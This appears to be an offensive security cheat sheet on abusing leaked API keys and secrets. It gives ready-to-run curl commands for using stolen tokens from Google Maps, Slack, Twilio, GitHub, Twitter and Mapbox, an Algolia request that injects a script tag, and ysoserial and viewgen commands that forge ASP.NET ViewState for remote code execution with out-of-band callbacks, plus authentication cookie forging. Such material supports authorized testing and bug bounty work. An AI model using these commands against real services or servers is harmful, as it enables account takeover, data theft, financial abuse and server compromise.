API Key Leaks

> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.

Summary

Tools

- KeyFinder - is a tool that let you find keys while surfing the web!
- Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.
- truffleHog - Find credentials all over the place

```
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
trufflehog git https://github.com/trufflesecurity/trufflehog.git
trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2
```

Exploit

The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.

Google Maps

Use : https://github.com/ozguralp/gmapsapiscanner/

Usage:

Name	Endpoint
Static Maps	https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE
Streetview	https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE
Embed	https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE
Directions	https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE
Geocoding	https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE
Distance Matrix	https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE
Find Place from Text	https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE
Autocomplete	https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE
Elevation	https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE
Timezone	https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&timestamp=1331161200&key=KEY_HERE
Roads	https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795
Geolocate	https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE

Impact:

- Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company

- Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account

Algolia

```
curl --request PUT \
  --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
  --header 'content-type: application/json' \
  --header 'x-algolia-api-key: <example-key>' \
  --header 'x-algolia-application-id: <example-application-id>' \
  --data '{"highlightPreTag": "<script>alert(1);</script>"}'
```

Slack API Token

```
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
```

Facebook Access Token

```
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
```

Github client id and client secret

```
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
```

Twilio Account_sid and Auth token

```
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
```

Twitter API Secret

```
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
```

Twitter Bearer Token

```
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
```

Gitlab Personal Access Token

```
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
```

HockeyApp API Token

```
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c"
https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
```

IIS Machine Keys

> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

Requirements

- machineKey **validationKey** and **decryptionKey**
- __VIEWSTATEGENERATOR cookies
- __VIEWSTATE cookies

Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.

```
<machineKey
validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
```

Common locations of **web.config** / **machine.config**

- 32-bit

    - C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
    - C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
- 64-bit
    - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
    - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
- in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
    - HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
    - HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey

Identify known machine key

- Exploit with Blacklist3r/AspDotNetWrapper
- Exploit with ViewGen

```
# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1

# --encrypteddata : __VIEWSTATE parameter value of the target application
# --modifier : __VIEWSTATEGENERATOR parameter value
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier
value> –macdecode
```

Decode ViewState

```
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334
"zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH2
7rT6taXzDWupmQjAjraDueY="

$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata
/wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --
purpose=viewstate  --modifier=CA0B0334 --macdecode

$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata
/wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --
purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f
out.txt --IISDirPath="/"
```

Generate ViewState for RCE

NOTE: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.

```
$ ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>"  --decryptionalg="AES" --
generator=ABABABAB decryptionkey="<decryption key>"  --validationalg="SHA1" --validationkey="<validation key>"
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --
validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
"C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64
\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"

$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
```

Edit cookies with the machine key

If you have the machineKey but the viewstate is disabled.

ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools

```
# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512
--decalgo=aes

# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
```

Mapbox API Token

A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.

```
#Check token validity
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
```

```
#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropiate scope)
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
```

References

- Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019
- Private API key leakage due to lack of access control - yox - August 8, 2018
- Project Blacklist3r - November 23, 2018 - @notsosecure
- Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020
- Mapbox API Token Documentation